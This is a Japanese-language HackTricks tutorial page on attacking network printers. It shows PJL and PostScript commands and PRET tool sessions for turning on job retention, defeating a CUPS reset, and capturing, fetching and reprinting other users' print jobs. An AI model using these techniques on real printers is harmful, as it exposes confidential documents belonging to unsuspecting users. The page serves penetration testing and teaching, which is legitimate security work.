Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!
他のHackTricksをサポートする方法:
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**してください。
* **HackTricks**の[**GitHubリポジトリ**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングのコツを共有してください。
# ジョブ保持
一部のプリンターは、ウェブサーバーからアクセス可能な保存されたプリントジョブを持っています。通常、ジョブ保持は特定のプリントジョブに対して明示的に活性化する必要があり、標準のPJLコマンドまたは独自のPostScriptコードを使用して行うことができます。その後、ジョブはメモリに保持され、コントロールパネルから再印刷することができます。
## PJL
以下に示すように、PJL HOLD変数を設定することで、現在のドキュメントに対して正当なジョブ保持を有効にすることができます:
```
@PJL SET HOLD=ON
[actual data to be printed follows]
```
ジョブ保留はメモリ内に保持され、プリンターのコントロールパネルから再印刷することができます。この機能は様々なプリンターでサポートされていますが、永続的なジョブ保持を設定できるのは一部のEpsonデバイスのみのようです。`@PJL DEFAULT HOLD=ON`を使用して設定します。
**この攻撃をテストする方法は?**
[**PRET** ](https://github.com/RUB-NDS/PRET)のpjlモードで`hold`コマンドを使用し、永続的なジョブ保持が設定できるかどうかを確認します。
```
./pret.py -q printer pjl
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> hold
Setting job retention, reconnecting to see if still enabled
Retention for future print jobs: OFF
```
## PostScript
PostScriptはモデルやベンダーに特有の類似の機能を提供します。HP LaserJet 4kシリーズや様々なKyoceraプリンターでは、以下のコマンドをPostScriptドキュメントの先頭に追加することでジョブ保持を有効にすることができます:
```
<< /Collate true /CollateDetails
<< /Hold 1 /Type 8 >> >> setpagedevice
```
```markdown
PostScriptジョブ保持を永続的に有効にすることは理論的に可能ですが、この設定はCUPSによって各印刷ジョブの開始時に`<< /Collate false >> setpagedevice`を使用して明示的にリセットされます。しかし、攻撃者はこの保護メカニズムを回避するために、`setpagedevice`オペレーターを再定義して全く効果がないようにすることができます。
**この攻撃をテストする方法は?**
psモードで[**PRET**](https://github.com/RUB-NDS/PRET)の`hold`コマンドを使用します:
```
```
./pret.py -q printer ps
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> hold
Job retention enabled.
```
# ジョブキャプチャ
上記のように、印刷ダイアログでジョブ保持をアクティブにすることは可能ですが、一般的ではありません。しかし、PostScriptを使用すると、現在の印刷ジョブを完全に制御でき、[startjob](./#postscript-ps)オペレーターを使用すると、サーバーループを抜け出し、将来のジョブにアクセスすることも可能です。この機能は、PostScriptがプリンタドライバとして使用されている場合、すべてのドキュメントをキャプチャする可能性があります。
## PostScript
任意のPostScriptオペレーターにフックする能力により、外部の印刷ジョブを操作し、アクセスすることが可能です。**プリンターに送信される実際のデータストリームを解析する**ために、PostScript言語のかなりクールな機能を利用できます:`currentfile`オペレーターを使用して、自身のプログラムコードをデータとして読み取ることです。この方法で、PostScriptインタープリターによって処理されるデータストリーム全体にアクセスし、プリンタデバイス上のファイルに読み取りとして保存することができます。プリンタがファイルシステムアクセスを提供していない場合、**キャプチャされたドキュメントはメモリ内に保存される**ことがあります。例えば、永続的なPostScript辞書内です。\
実際の問題は、**どのオペレーターをフックするべきか**を決定することです。なぜなら、このオペレーターがPostScriptインタープリターによって処理されるまで、データストリームにアクセスできないからです。攻撃者が印刷ジョブを最初からキャプチャしたい場合、**再定義されたオペレーターはPostScriptドキュメントに含まれる最初のオペレーターでなければなりません**。幸いなことに、CUPSで印刷されたすべてのドキュメントは`currentfile /ASCII85Decode filter /LZWDecode filter cvx exec`で始まる固定構造に圧縮されます。このような固定構造を前提として、攻撃者はドキュメントの最初からキャプチャし、その後ファイルを実行(つまり印刷)することができます。**CUPS以外の印刷システム**についても、この攻撃は可能であるべきですが、**オペレーターを適応させる必要があります**。この方法では、通常メディアサイズ、ユーザー名、ジョブ名を含むPostScriptヘッダーはキャプチャできません。なぜなら、実際のドキュメントの始まりで最初にフックするからです。もう一つの一般的な戦略は、プリンターがサポートしている場合(ほとんどのプリンターがそうです)、`BeginPage`システムパラメーターを設定することです。この脆弱性は、PostScript標準によって定義された言語構造が悪用されているだけで、印刷デバイスに何十年も存在している可能性があります。
[**PRET**](https://github.com/RUB-NDS/PRET)の`capture`コマンドをpsモードで使用します:
```
./pret.py -q printer ps
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> capture
Print job operations: capture
capture start - Record future print jobs.
capture stop - End capturing print jobs.
capture list - Show captured print jobs.
capture fetch - Save captured print jobs.
capture print - Reprint saved print jobs.
printer:/> capture start
Future print jobs will be captured in memory!
printer:/> exit
```
```
現在、任意のドキュメントを印刷します(印刷チャネルをブロックしないように、PRETが切断されていることを確認してください)。その後、キャプチャされたドキュメントをリスト表示、取得、または再印刷できます:
```
```
./pret.py -q printer ps
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> capture list
Free virtual memory: 16.6M | Limit to capture: 5.0M
date size user jobname creator
───────────────────────────────────────────────────────────────────────────────
Jan 25 18:38 3.1M - - -
Jan 25 18:40 170K - - -
printer:/> capture fetch
Receiving capture/printer/690782792
3239748 bytes received.
Receiving capture/printer/690646210
174037 bytes received.
printer:/> capture print
printing...
printing...
2 jobs reprinted
printer:/> capture stop
Stopping job capture, deleting recorded jobs
```
htARTE (HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ
HackTricksをサポートする他の方法:
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加する、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローする**。
* **HackTricks**の[**GitHubリポジトリ**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングのコツを共有する。